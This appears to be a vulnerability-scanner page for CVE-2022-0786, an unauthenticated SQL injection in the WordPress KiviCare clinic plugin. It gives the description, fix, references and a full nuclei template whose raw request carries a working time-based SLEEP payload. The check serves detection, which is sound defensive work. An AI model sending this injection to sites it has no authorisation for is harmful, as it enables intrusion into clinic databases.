WordPress KiviCare <2.3.9 - SQL Injection

criticalseverity

9.8CVSS score

13.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress KiviCare plugin before 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.

Fix

Update to the latest version of the KiviCare plugin (2.3.9) or apply the provided patch to fix the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(content_type, "text/html") and contains(body, "Doctor details")

Run it with nuclei: nuclei -id CVE-2022-0786 -u <target>

The full check

id: CVE-2022-0786

info:
  name: WordPress KiviCare <2.3.9 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress KiviCare plugin before 2.3.9 contains a SQL injection vulnerability. The plugin does not sanitize and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the KiviCare plugin (2.3.9) or apply the provided patch to fix the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/53f493e9-273b-4349-8a59-f2207e8f8f30
    - https://wordpress.org/plugins/kivicare-clinic-management-system/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0786
    - https://github.com/20142995/sectool
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0786
    cwe-id: CWE-89
    epss-score: 0.13271
    epss-percentile: 0.96419
    cpe: cpe:2.3:a:iqonic:kivicare:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: iqonic
    product: kivicare
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,kivicare-clinic-management-system,unauth,wordpress,wp-plugin,wp,wpscan,iqonic,vkev,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id=%7B"id":"1"%7D&props_doctor_id=1,2)+AND+(SELECT+42+FROM+(SELECT(SLEEP(6)))b HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "Doctor details")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from